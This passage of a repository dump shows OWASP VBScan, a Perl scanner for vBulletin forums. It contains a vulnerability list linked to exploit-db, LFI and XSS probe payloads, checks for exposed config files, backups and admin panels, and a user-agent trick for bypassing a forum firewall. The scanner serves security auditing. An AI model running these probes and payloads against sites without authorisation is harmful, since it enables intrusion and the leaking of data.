: http://www.exploit-db.com/exploits/30047/ 34 | 3.6.10,3.7.1|vBulletin 3.6.10/3.7.1 - 'redirect' parameter XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/31910/ 35 | 3.7.1,3.7.0,3.6|vBulletin <= 3.7.1 Moderation Control Panel 'redirect' parameter XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/31939/ 36 | 3.6.10,3.7.2|vBulletin 3.6.10/3.7.2 - 'newpm[title]' parameter XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/32285/ 37 | 3.7.3|vBulletin 3.7.3 - Visitor Message CSRF + Worm Exploit\nEDB : http://www.exploit-db.com/exploits/7174/ 38 | 4.0.1|vBulletin 4.0.1 - 'misc.php' SQL Injection vulnerability\nEDB : http://www.exploit-db.com/exploits/33547/ 39 | 3.5.4,3.0|vBulletin <= 3.5.4 - Multiple XSS vulnerabilities\nEDB : http://www.exploit-db.com/exploits/33624/ 40 | 2.3|vBulletin 2.3.x - SQL Injection vulnerability\nEDB : http://www.exploit-db.com/exploits/11396/ 41 | 3.0.0|vBulletin 3.0.0 - XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/11395/ 42 | 3.5.2|vBulletin 3.5.2 - XSS vulnerabilities\nEDB : http://www.exploit-db.com/exploits/11394/ 43 | 4.0.2|vBulletin 4.0.2 - Multiple XSS vulnerabilities\nEDB : http://www.exploit-db.com/exploits/33660/ 44 | 4.0.2|vBulletin 4.0.2 - Search XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/33784/ 45 | 4.0.2|vBulletin Blog 4.0.2 Title XSS vulnerability\nEDB : http://www.exploit-db.com/exploits/11871/ 46 | 4.0.8|vBulletin 4.0.8 - Persistent XSS via Profile Customization\nEDB : http://www.exploit-db.com/exploits/15550/ 47 | 4.0.8|vBulletin 4.0.8 PL1 - XSS Filter Bypass within profile customization\nEDB : http://www.exploit-db.com/exploits/15590/ 48 | 3.8.4,3.8.5|vBulletin 3.8.4 & 3.8.5 Registration bypass vulnerability\nEDB : http://www.exploit-db.com/exploits/14833/ 49 | 4.0,4.1.0,4.1.1,4.1.2|vBulletin 4.0.x <= 4.1.2 - (search.php) SQL Injection vulnerability\nEDB : http://www.exploit-db.com/exploits/17314/ 50 | 4.0,4.1.0,4.1.1,4.1.2|vBulletin 4.0.x - 4.1.2 (search.php cat param) - SQL Injection Exploit\nEDB : http://www.exploit-db.com/exploits/34526/\nhttp://packetstormsecurity.com/files/128139/vBulletin-4.1.2-SQL-Injection.html 51 | 4.0,4.1.0,4.1.1,4.1.2,4.1.3|Vbulletin 4.0.x <= 4.1.3 - (messagegroupid) SQL Injection vulnerability (0day)\nEDB : http://www.exploit-db.com/exploits/17555/ 52 | 4.1.7|vBulletin 4.1.7 Multiple Remote File Include vulnerabilities\nEDB : http://www.exploit-db.com/exploits/36273/ 53 | 4.1.10|VBulletin 4.1.10 'announcementid' parameter SQL Injection vulnerability\nEDB : http://www.exploit-db.com/exploits/37062/ 54 | 4.0.2|vBulletin Yet Another Awards System 4.0.2 - SQL Injection\nEDB : http://www.exploit-db.com/exploits/20956/ 55 | 5.0.0|vBulletin 5.0.0 Beta 11 - 5.0.0 Beta 28 - SQL Injection\nEDB : http://www.exploit-db.com/exploits/24882/ 56 | 5.0.0|vBulletin 5 - index.php/ajax/api/reputation/vote nodeid parameter SQL Injection\nEDB : http://www.exploit-db.com/exploits/30212/ 57 | 5.1.2,5.1.1,5.1.0|vBulletin 5.1.X - Persistent XSS\nEDB : http://www.exploit-db.com/exploits/34579/ 58 | 5.1.2|vBulletin 5.1.2 SQL Injection Exploit\nhttp://rstforums.com/forum/87172-rst-vbulletin-5-1-2-sql-injection-exploit.rst 59 | 5.1.9,5.1.8,5.1.7,5.1.6,5.1.5,5.1.4,5.1.2,5.1.1,5.0.5,5.0.4,4.2.2,4.2.1,4.1.12,4.1.10,4.1.7,4.1.5,4.1.4,4.0.2,4.0.1,3.8.6,3.7.4,3.7.3,3.7.1,3.6,3.5.4,3.5.3,3.5.2,3.5.1,3.0.15,3.0.14,3.0.12,3.0.11,3.0.10,3.0.9,3.0.8,3.0.7,3.0.6,3.0.5,3.0.4,3.0.3,3.0.2,3.0.1,3.0.0,2.3.8,2.3.4,2.3.3,2.3.2,2.3.0,2.2.9,2.2.8,2.2.7,2.2.6,2.2.5,2.2.4,2.2.3,2.2.2,2.2.1,2.2.0,2.0.3,5.2.2,5.0.3,5.0.2,5.0.1,4.2.3,4.2.0,4.1.3,4.1.2,4.1.11,4.1.1,4.0.8,4.0.7,4.0.6,4.0.5,4.0.4,4.0.3,4.0.0,3.8.9,3.5|vBulletin CVE-2016-6483 Server Side Request Forgery Security Bypass Vulnerability\nEDB : http://www.exploit-db.com/exploits/40225/\nhttp://www.securityfocus.com/bid/92350\nhttp://legalhackers.com/advisories/vBulletin-SSRF-Vulnerability-Exploit.txt 60 | 5.0.5,4.2.2,4.2.1,4.2|vBulletin '/apilog.php' Multiple HTML Injection Vulnerabilities\nEDB : https://www.exploit-db.com/exploits/40114/\nhttps://www.securityfocus.com/bid/70577 61 | 5.0.5,4.2.2,4.2.1,4.2|vBulletin 'breadcrumbs_create.php' SQL Injection Vulnerability\nEDB : https://www.exploit-db.com/exploits/40115/\nhttps://www.securityfocus.com/bid/70417 62 | 4.2.2,4.2.1,4.1.12,4.1.10,4.1.7,4.1.5,4.1.4,4.0.2,4.0.1,3.8.6,3.7.4,3.7.3,3.7.1,3.6.12,3.6.10,3.6.9,3.6.8,3.6.7,3.6.6,3.6.5,3.6.4,3.6.3,3.6.2,3.6.1,3.6,4.2.3,4.2,4.1.3,4.1.2,4.1.11,4.0.8,4.0.7,4.0.6,4.0.5,4.0,3.8.9|vBulletin CVE-2016-6195 SQL Injection Vulnerability\nEDB : https://www.exploit-db.com/exploits/40751/\nhttps://www.securityfocus.com/bid/92687 63 | 5.3.0,5.3.1,5.3.2,5.3.3,5.3.4,5.3.5|vBulletin 5 - 'cacheTemplates' Remote Arbitrary File Deletion\nEDB : https://www.exploit-db.com/exploits/43362/\nhttps://blogs.securiteam.com/index.php/archives/3573 64 | -------------------------------------------------------------------------------- /exploit/vbseo.pl: -------------------------------------------------------------------------------- 1 | #start vBSEO 3.1.0 - Local File Inclusion Vulnerability 2 | $ctf=0; 3 | dprint("Checking vBSEO 3.x - LFI (Local File Inclusion) vulnerability"); 4 | $source=$ua->get("$target/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/vbulletin_global.js")->decoded_content; 5 | if($source =~ m/do_securitytoken_replacement/i){ 6 | tprint("vbseo.php LFI is vulnerable\n LFI path : $target/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/vbulletin_global.js\nEDB: https://www.exploit-db.com/exploits/11526/\nEDB Blog: https://www.exploit-db.com/vbulletin-not-so-secure-anymore/"); 7 | }else{ 8 | fprint("vbseo.php LFI is not vulnerable"); 9 | } 10 | #end vBSEO 3.1.0 - Local File Inclusion Vulnerability 11 | -------------------------------------------------------------------------------- /exploit/verexploit.pl: -------------------------------------------------------------------------------- 1 | #start checking 3.8.6 DataBase information leak vuln 2 | 3 | dprint("Core Vbulletin Vulnerability"); 4 | if($ver =~ m/3\.8\.6/i){ 5 | print color("yellow"); 6 | $vtmp="vBulletin 3.8.6 faq.php Information Disclosure vulnerability \n EDB : https://www.exploit-db.com/exploits/14455/\n"; 7 | $source=$ua->get("$target/faq.php?s=&do=search&q=Database&match=all&titlesonly=0")->decoded_content; 8 | if($source =~ m/Host/i and $source =~ m/Port/i){ 9 | $vtmp.="faq.php is vulnerable\n DataBase configuration path : $target/faq.php?s=&do=search&q=Database&match=all&titlesonly=0"; 10 | }else{ 11 | $vtmp.="faq.php is not vulnerable\n\n"; 12 | } 13 | } 14 | #end checking 3.8.6 DataBase information leak vuln 15 | open(my $DB,"exploit/vbscandb.txt"); 16 | my $vver=substr($ver, index($ver, ' ')+1, 6); 17 | $vver =~ s/ //g; 18 | while( my $row = <$DB>) { 19 | chomp $row; 20 | my $fv=substr($row, 0, index($row, '|')); 21 | my $fd=substr($row, index($row, '|')+1, 1000); 22 | my @sbug = split /,/, $fv; 23 | foreach $bs(@sbug){ 24 | if(($vver =~ m/$bs/i) && (substr($vver, 0, 1) eq substr($bs, 0, 1))){ 25 | $fd =~ s/\$target/$target/g; 26 | $fd =~ s/\\n/\r\n/g; 27 | $fd =~ s/\|/\r\n\r\n/g; 28 | $vtmp.="$fd\n\n"; 29 | $vvtf=1; 30 | last; 31 | } 32 | } 33 | } 34 | if($vvtf==1){tprint("$vtmp");}else{fprint("Target vbulletin core is not vulnerable");} 35 | 36 | close $DB; -------------------------------------------------------------------------------- /exploit/xperience.pl: -------------------------------------------------------------------------------- 1 | #start vBulletin vBExperience 3 'sortorder' Parameter Cross Site Scripting Vulnerability 2 | $ctf=0; 3 | dprint( "Checking vBulletin vBExperience 3 'sortorder' Parameter Cross Site Scripting Vulnerability"); 4 | $source=$ua->get("$target/xperience.php?sortfield=xr&sortorder=\">")->decoded_content; 5 | if($source =~ m/\alert\(127543\);\<\/script\>/i){ 6 | tprint("xperience.php is vulnerable\n XSS path : $target/xperience.php?sortfield=xr&sortorder=\">\n EDB : https://www.exploit-db.com/exploits/35824/"); 7 | }else{ 8 | fprint("xperience.php not vulnerable"); 9 | } 10 | #end vBulletin vBExperience 3 'sortorder' Parameter Cross Site Scripting Vulnerability 11 | -------------------------------------------------------------------------------- /exploit/yui.pl: -------------------------------------------------------------------------------- 1 | #vBulletin YUI 2.9.0 XSS 2 | $tfh=0; 3 | dprint("Checking vBulletin YUI 2.9.0 XSS"); 4 | $response = $ua->get("$target/clientscript/yui/uploader/assets/uploader.swf"); 5 | my $headers = $response->headers(); 6 | my $content_type =$headers->content_type(); 7 | if ($response->status_line =~ /200/g and $content_type =~ /x-shockwave-flash/g) { 8 | $source=$ua->get("$target/clientscript/yui/uploader/uploader-min.js")->decoded_content; 9 | if($source =~ m/version: 2/i){ 10 | tprint("uploader.swf is vulnerable \n$target/clientscript/yui/uploader/assets/uploader.swf?allowedDomain=\\\"})))}catch(e){alert(/XSS/);}//\n POC : https://packetstormsecurity.com/files/124746/vBulletin-YUI-2.9.0-Cross-Site-Scripting.html"); 11 | 12 | $tfh=1; 13 | } 14 | } 15 | $response = $ua->get("$target/core/clientscript/yui/uploader/assets/uploader.swf"); 16 | my $headers = $response->headers(); 17 | my $content_type =$headers->content_type(); 18 | if ($response->status_line =~ /200/g && $tf==0 and $content_type =~ /x-shockwave-flash/g) { 19 | $source=$ua->get("$target/core/clientscript/yui/uploader/uploader-min.js")->decoded_content; 20 | if($source =~ m/version: 2/i){ 21 | tprint("uploader.swf is vulnerable \n POC : $target/core/clientscript/yui/uploader/assets/uploader.swf?allowedDomain=\\\"})))}catch(e){alert(/XSS/);}//\nhttps://packetstormsecurity.com/files/124746/vBulletin-YUI-2.9.0-Cross-Site-Scripting.html"); 22 | $tfh=1; 23 | } 24 | } 25 | if ($tfh==0){ 26 | fprint("uploader.swf not found"); 27 | } 28 | #vBulletin YUI 2.9.0 XSS 29 | -------------------------------------------------------------------------------- /love.txt: -------------------------------------------------------------------------------- 1 | 2 | ,dPYb, ,dPYb, 3 | IP'`Yb IP'`Yb 4 | I8 8I I8 8I 5 | I8 8' I8 8' 6 | ,g, ,ggg, I8 dP I8 dP 7 | ,8'8, i8" "8i I8dP I8dP 8 | ,8' Yb I8, ,8I I8P I8P 9 | ,8'_ 8) `YbadP' ,d8b,_ ,d8b,_ 10 | P' "YY8P8P888P"Y8888P'"Y88PI8"8888 11 | I8 `8, 12 | I8 `8, 13 | I8 8I 14 | I8 8I 15 | I8, ,8' 16 | "Y8P' 17 | 18 | ,dPYb, ,dPYb, ,dPYb, 19 | IP'`Yb IP'`Yb IP'`Yb 20 | I8 8I I8 8I I8 8I 21 | I8 8' I8 8' I8 8' 22 | ,gggg, I8 dPgg, ,gggg,gg I8 dP I8 dP ,ggg, ,ggg,,ggg, ,gggg,gg ,ggg, 23 | dP" "Yb I8dP" "8I dP" "Y8I I8dP I8dP i8" "8i ,8" "8P" "8, dP" "Y8I i8" "8i 24 | i8' I8P I8 i8' ,8I I8P I8P I8, ,8I I8 8I 8I i8' ,8I I8, ,8I 25 | ,d8,_ _,d8 I8,,d8, ,d8b,,d8b,_ ,d8b,_ `YbadP' ,dP 8I Yb,,d8, ,d8I `YbadP' 26 | P""Y8888PP88P `Y8P"Y8888P"`Y88P'"Y888P'"Y88888P"Y8888P' 8I `Y8P"Y8888P"888888P"Y888 27 | ,d8I' 28 | ,dP'8I 29 | ,8" 8I 30 | I8 8I 31 | `8, ,8I 32 | `Y8P" -------------------------------------------------------------------------------- /modules/backupfinder.pl: -------------------------------------------------------------------------------- 1 | #start find backup 2 | $btf=0; 3 | dprint("Finding common backup files name"); 4 | @backups = ('1.zip', '2.zip', 'admincp.zip', 'backup.sql', 'backup.tar.gz', 'backup.zip', 'database.sql', 'database.zip', 'files.zip', 'forum.tar', 'forum.tar.gz', 'forum.zip', 'forums.zip', 'includes.zip', 'sql.zip', 'upload.zip', 'vb.zip'); 5 | foreach $back(@backups){ 6 | if (($content_type, $doc_length, $mod_time, $expires, $server) =head("$target/$back")){ 7 | if($content_type !~ m/text\/html/i){ 8 | tprint("Backup file is found \nPath : $target/$back\n"); 9 | $btf=1; 10 | } 11 | } 12 | } 13 | if($btf==0){ 14 | fprint("Backup files are not found"); 15 | } 16 | #end find backup 17 | -------------------------------------------------------------------------------- /modules/c99finder.pl: -------------------------------------------------------------------------------- 1 | #start xml c99 shell 2 | $ctf=0; 3 | dprint("Checking c99 xml shell in admincp/subscriptions.php"); 4 | $source=$ua->get("$target/admincp/subscriptions.php?do=api")->decoded_content; 5 | if($source =~ m/c99shell/i || $source =~ m/shell/i){ 6 | tprint("c99 shell is found\n shell path : $target/admincp/subscriptions.php?do=api"); 7 | }else{ 8 | fprint("c99 xml shell is Not Found"); 9 | } 10 | #end xml c99 shell 11 | -------------------------------------------------------------------------------- /modules/configfinder.pl: -------------------------------------------------------------------------------- 1 | #start config.php.x check 2 | $incl="includes"; 3 | 4 | #vbulletin 5.x 5 | my $bver=substr($ver, index($ver, ' ')+1, 1); 6 | $bver =~ s/ //g; 7 | if($bver=~m/5/i){ 8 | $incl="core/includes"; 9 | } 10 | 11 | 12 | $ctf=0; 13 | dprint("Checking config.php.x for disclure config file"); 14 | @configs = ('config.php~','config.php.new','config.php.new~','config.php.old','config.php.old~','config.bak','config.php.bak','config.php.bkp','config.txt','config.php.txt','config - Copy.php','config.php.swo','config.php_bak','config.php#','config.orig','config.php.save','config.php.original','config.php.swp','config.save','.config.php.swp','config.php1','config.php2','config.php3','config.php4','config.php4','config.php6','config.php7','config.phtml'); 15 | 16 | my $cnftmp=""; 17 | foreach $config(@configs){ 18 | $source=$ua->get("$target/$incl/$config")->decoded_content; 19 | if($source =~ m/admincpdir/i || $source =~ m/dbtype/i || $source =~ m/technicalemail/i){ 20 | $cnftmp="$cnftmp\Readable config file is found \n config file path : $target/$incl/$config\n"; 21 | $ctf=1; 22 | } 23 | } 24 | if($ctf==0){ 25 | fprint("Readable config files are not found"); 26 | }else{ 27 | tprint($cnftmp); 28 | } 29 | #end config.php.x check 30 | -------------------------------------------------------------------------------- /modules/cpfinder.pl: -------------------------------------------------------------------------------- 1 | #start admincp/modcp 2 | dprint("Checking admincp/modcp path"); 3 | $adtext=""; 4 | $source=$ua->get("$target/admincp/index.php")->decoded_content; 5 | if($source =~ m/Admin Control Panel/i || $source =~ m/form action="..\/login.php?do=login"/i || $source =~ m/ADMINHASH/i){ 6 | $adtext.="admincp Found\n$target/admincp"; 7 | }else{ 8 | $adtext.="admincp does not exist or renamed"; 9 | $amtf=1; 10 | } 11 | $source=$ua->get("$target/modcp/index.php")->decoded_content; 12 | if($source =~ m/Moderator Control Panel/i || $source =~ m/form action="..\/login.php?do=login"/i || $source =~ m/ADMINHASH/i){ 13 | $adtext.="\n[++] modcp Found\n$target/modcp"; 14 | }else{ 15 | $adtext.="\n[++] modcp does not exist or renamed"; 16 | $mmtf=1; 17 | } 18 | if(!($amtf==1 || $mmtf==1)){ 19 | tprint($adtext); 20 | }else{ 21 | fprint($adtext); 22 | } 23 | #end admincp/modcp 24 | -------------------------------------------------------------------------------- /modules/cpupgrade.pl: -------------------------------------------------------------------------------- 1 | #start Checking upgrade.php to find admincp 2 | if($amtf==1){ 3 | dprint("Checking upgrade.php to find admincp"); 4 | my $response = $ua->get("$target/install/upgrade.php"); 5 | if ($response->status_line =~ /200/g) { 6 | $source=$response->decoded_content; 7 | $source =~ /ADMINDIR = \"\.\.\/(.*?)\"\;/; 8 | if($1 != ""){ 9 | tprint("admincp exist $target/$1"); 10 | }else{goto np;} 11 | } else { 12 | np:; 13 | fprint("upgrade.php not found"); 14 | } 15 | } 16 | #end Checking upgrade.php to find admincp 17 | -------------------------------------------------------------------------------- /modules/dirlisting.pl: -------------------------------------------------------------------------------- 1 | #start Directory Listing 2 | $response=$ua->get("$target/attachment/"); 3 | $source=$response->decoded_content; 4 | if ($source =~ /Index of/g or $source =~ /Last modified<\/a>/g) { 5 | dprint("Directory Listing"); 6 | tprint("attachment directory has directory listing : \n$target/attachment/"); 7 | } 8 | #end Directory Listing -------------------------------------------------------------------------------- /modules/errfinder.pl: -------------------------------------------------------------------------------- 1 | #start Checking error.log 2 | dprint("Finding common log files name"); 3 | $ertf=0; 4 | @error = ('error.log','error_log','php-scripts.log','php.errors','php5-fpm.log','php_errors.log','debug.log'); 5 | foreach $er(@error){ 6 | if (($content_type, $doc_length, $mod_time, $expires, $server) =head("$target/$er")){ 7 | if($content_type !~ m/text\/html/i){ 8 | tprint("$er path : $target/$er\n"); 9 | $ertf=1; 10 | } 11 | } 12 | } 13 | if($ertf==0) { 14 | fprint("error log is not found"); 15 | } 16 | #end Checking error.log 17 | -------------------------------------------------------------------------------- /modules/firewall.pl: -------------------------------------------------------------------------------- 1 | #start fw detector 2 | dprint('Detecting Vbulletin based Firewall'); 3 | $uatmp=$ua->agent(); 4 | 5 | $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5"); 6 | 7 | $source=$ua->get("$target")->decoded_content; 8 | if($source =~ m/dnp_firewall/i || $source =~ m/DnP Firewall/i || $source =~ m/dnp_fw/i){ 9 | tprint("Vbulletin DnP Firewall is detected\n DNP Firewall home page : http://www.silveryhat.com/dnp-firewall/\n"); 10 | print color("yellow"); 11 | print "[++] Trying to bypass firewall with user agent method\n"; 12 | print color("blue"); 13 | 14 | @UserAgent = ( 15 | 'Googlebot', 16 | 'msnbot', 17 | 'slurp', 18 | 'fast-webcrawler', 19 | 'Googlebot-Image', 20 | 'teomaagent1', 21 | 'directhit', 22 | 'lycos', 23 | 'ia_archiver', 24 | 'gigabot', 25 | 'whatuseek', 26 | 'Teoma', 27 | 'scooter', 28 | 'Ask Jeeves', 29 | 'slurp@inktomi', 30 | 'gzip(gfe) (via translate.google.com)', 31 | 'Mediapartners-Google', 32 | 'crawler@alexa.com' 33 | ); 34 | foreach $Agent(@UserAgent) 35 | { 36 | chomp($Agent); 37 | $ua->agent($Agent); 38 | $source=$ua->get("$target")->decoded_content; 39 | if($source !~ m/dnp_firewall/i and $source !~ m/DnP Firewall/i and $source !~ m/dnp_fw/i){ 40 | print color("yellow"); 41 | print "[++] Firewall bypassed by setting \"$Agent\" as default user agent\n"; 42 | print color("blue"); 43 | goto dnpen; 44 | } 45 | } 46 | 47 | 48 | }else{ 49 | fprint("No known firewall detected"); 50 | $ua->agent($uatmp); 51 | goto dnpen; 52 | } 53 | print color("red"); 54 | print "[++] User agent bypass method not working\n"; 55 | print color("blue"); 56 | $ua->agent($uatmp); 57 | dnpen:; 58 | 59 | #end fw detector 60 | -------------------------------------------------------------------------------- /modules/license.pl: -------------------------------------------------------------------------------- 1 | #start license 2 | $response=$ua->get("$target/LICENSE"); 3 | my $headers = $response->headers(); 4 | my $content_type =$headers->content_type(); 5 | $source=$response->decoded_content; 6 | if ($response->status_line =~ /200/g and $content_type =~ /text/g and $source =~ /vBulletin License Agreement/g) { 7 | dprint("vBulletin LICENSE Check"); 8 | tprint("vBulletin LICENSE file : $target/LICENSE\n"); 9 | } 10 | #end license 11 | -------------------------------------------------------------------------------- /modules/missconfig.pl: -------------------------------------------------------------------------------- 1 | #start missconfig check 2 | $ctf=0; 3 | dprint("Checking apache info/status files"); 4 | @configs = ('server-status','server-info'); 5 | foreach $config(@configs){ 6 | $source=$ua->get("$target/$config")->decoded_content; 7 | if($source =~ m/Apache Server Information/i || $source =~ m/Server Root/i || $source =~ m/Apache Status/i){ 8 | tprint("Interesting file is found \n$target/$config"); 9 | $ctf=1; 10 | } 11 | } 12 | if($ctf==0){ 13 | fprint("Readable info/status files are not found"); 14 | } 15 | 16 | #end missconfig check 17 | -------------------------------------------------------------------------------- /modules/passlogger.pl: -------------------------------------------------------------------------------- 1 | #start Vbulletin password logger Detecting 2 | dprint("Vbulletin password logger Detecting"); 3 | $source=$ua->get("$target/")->decoded_content; 4 | if($source =~ m/vb_login_md5password_utf\, \)/i || $source =~ m/vb_login_md5password_utf\,\)/i){ 5 | tprint("This website has been password logger and store user's password as cleartext"); 6 | }else{ 7 | fprint("Password logger not found"); 8 | } 9 | #end password logger Detecting -------------------------------------------------------------------------------- /modules/pathdisclure.pl: -------------------------------------------------------------------------------- 1 | #start path disclosure 2 | 3 | @plinks = ("forumdisplay.php?do[]=[test.dll]","calendar.php?do[]=[test.dll]","search.php?do[]=[test.dll]","forumrunner/include/album.php","core/vb5/route/channel.php","core/vb5/route/conversation.php","includes/api/interface/noncollapsed.php","includes/api/interface/collapsed.php","vbseo_sitemap/addons/vbseo_sm_vba.php","vbseo_sitemap/addons/vbseo_sm_vba_links.php"); 4 | foreach $plink(@plinks){ 5 | $source=$ua->get("$target/$plink")->decoded_content; 6 | if($source =~ m/Cannot modify header information/i || $source =~ m/trim()/i || $source =~ m/class_core.php/i || $source =~ m/header already sent/i|| $source =~ m/Fatal error/i){ 7 | $pathdis=""; 8 | $source =~ /array given in (.*?) on line/; 9 | $pathdis=$1; 10 | if($pathdis !~ ""){ 11 | $source =~ /array given in (.*?) on line /; 12 | $pathdis=$1; 13 | } 14 | if($pathdis !~ ""){ 15 | $source =~ /occurred in (.*?) in line /; 16 | $pathdis=$1; 17 | } 18 | if($pathdis !~ ""){ 19 | $source =~ /occurred in (.*?) on line/; 20 | $pathdis=$1; 21 | } 22 | if($pathdis !~ ""){ 23 | $source =~ /on a non-object in (.*?) on line/; 24 | $pathdis=$1; 25 | } 26 | if($pathdis !~ ""){ 27 | $source =~ /on a non-object in (.*?) in line/; 28 | $pathdis=$1; 29 | } 30 | if($pathdis !~ ""){ 31 | $source =~ /No such file or directory (errno 2) in (.*?) on line/; 32 | $pathdis=$1; 33 | } 34 | if($pathdis !~ ""){ 35 | $source =~ /No such file or directory in (.*?) in line/; 36 | $pathdis=$1; 37 | } 38 | 39 | $pathdis =~ s/<b>//g; 40 | $pathdis =~ s/<\/b>//g; 41 | $pathdis =~ s/<strong>//g; 42 | $pathdis =~ s/<\/strong>//g; 43 | dprint("Full Path Disclosure (FPD)"); 44 | tprint("Full Path Disclosure (FPD) in '$target/$plink' : $pathdis"); 45 | goto pend; 46 | } 47 | } 48 | pend:; 49 | 50 | #end path disclosure -------------------------------------------------------------------------------- /modules/robots.pl: -------------------------------------------------------------------------------- 1 | #start robots.txt module 2 | dprint("Checking robots.txt existing"); 3 | $response=$ua->get("$target/robots.txt"); 4 | my $headers = $response->headers(); 5 | my $content_type =$headers->content_type(); 6 | if ($response->status_line =~ /200/g and $content_type =~ /text\/plain/g) { 7 | $source=$response->decoded_content; 8 | my @lines = split /\n/, $source; 9 | $probot=""; 10 | foreach my $line( @lines ) { 11 | if($line =~ /llow:/g){ 12 | $between=substr($line, index($line, ': ')+2, 99999); 13 | $probot.="$target$between\n"; 14 | } 15 | } 16 | tprint("robots.txt is found\npath : $target/robots.txt \n\nInteresting path found from robots.txt\n$probot"); 17 | }else{ 18 | fprint("robots.txt is not found"); 19 | } 20 | #end robots.txt module -------------------------------------------------------------------------------- /modules/validator.pl: -------------------------------------------------------------------------------- 1 | #start validator checker 2 | dprint("Checking validator.php"); 3 | 4 | $source=$ua->get("$target/validator.php")->decoded_content; 5 | if($source =~ m/validate/i){ 6 | tprint("validator.php is found \n you can find all vbulletin files and directories path for seeking important data (Backup , Databases , Shell , etc) \n validator path : $target/validator.php"); 7 | }else{ 8 | fprint("validator.php is not found"); 9 | } 10 | #end validator checker 11 | -------------------------------------------------------------------------------- /reports/hello.txt: -------------------------------------------------------------------------------- 1 | Hello World ! 2 | -------------------------------------------------------------------------------- /vbscan.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # -------------------------------------------------- 4 | # OWASP VBScan 5 | # -------------------------------------------------- 6 | # Copyright (C) <2018> <(Mohammad Reza Espargham)> 7 | # 8 | # This program is free software: you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation, either version 3 of the License, or 11 | # any later version. 12 | # 13 | # This program is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | # 18 | # You should have received a copy of the GNU General Public License 19 | # along with this program. If not, see <http://www.gnu.org/licenses/>. 20 | # 21 | # 22 | 23 | $author="Mohammad Reza Espargham";$author.=""; 24 | $version="0.1.8";$version.=""; 25 | $codename="Self Challenge";$codename.=""; 26 | $update="2018/09/13";$update.=""; 27 | 28 | system(($^O eq 'MSWin32') ? 'cls' : 'clear'); 29 | use if $^O eq "MSWin32", Win32::Console::ANSI; 30 | use Term::ANSIColor; 31 | use Cwd; 32 | $mepath = Cwd::realpath($0); $mepath =~ s#/[^/\\]*$##; 33 | 34 | $SIG{INT} = \&interrupt; 35 | sub interrupt { 36 | fprint("\nShutting Down , Interrupt by user"); 37 | do "$mepath/core/report.pl"; 38 | print color("reset"); 39 | exit 0; 40 | } 41 | do "$mepath/core/header.pl"; 42 | do "$mepath/core/main.pl"; 43 | do "$mepath/modules/firewall.pl"; 44 | do "$mepath/core/ver.pl"; 45 | do "$mepath/exploit/verexploit.pl"; 46 | do "$mepath/modules/passlogger.pl"; 47 | do "$mepath/modules/license.pl"; 48 | do "$mepath/modules/pathdisclure.pl"; 49 | do "$mepath/modules/dirlisting.pl"; 50 | do "$mepath/modules/missconfig.pl"; 51 | do "$mepath/modules/cpfinder.pl"; 52 | do "$mepath/modules/cpupgrade.pl"; 53 | do "$mepath/modules/validator.pl"; 54 | do "$mepath/modules/robots.pl"; 55 | do "$mepath/modules/c99finder.pl"; 56 | do "$mepath/modules/backupfinder.pl"; 57 | do "$mepath/modules/errfinder.pl"; 58 | do "$mepath/modules/configfinder.pl"; 59 | do "$mepath/exploit/faq.pl"; 60 | do "$mepath/exploit/vbseo.pl"; 61 | do "$mepath/exploit/xperience.pl"; 62 | do "$mepath/exploit/upexploit.pl"; 63 | do "$mepath/exploit/arcade.pl"; 64 | do "$mepath/exploit/regplug.pl"; 65 | do "$mepath/exploit/tapatalk.pl"; 66 | do "$mepath/exploit/routestring.pl"; 67 | do "$mepath/exploit/openredirection.pl"; 68 | do "$mepath/exploit/yui.pl"; 69 | do "$mepath/exploit/htmlcode.pl"; 70 | do "$mepath/exploit/decodearguments.pl"; 71 | 72 | 73 | do "$mepath/core/report.pl"; 74 | print color("reset"); 75 | --------------------------------------------------------------------------------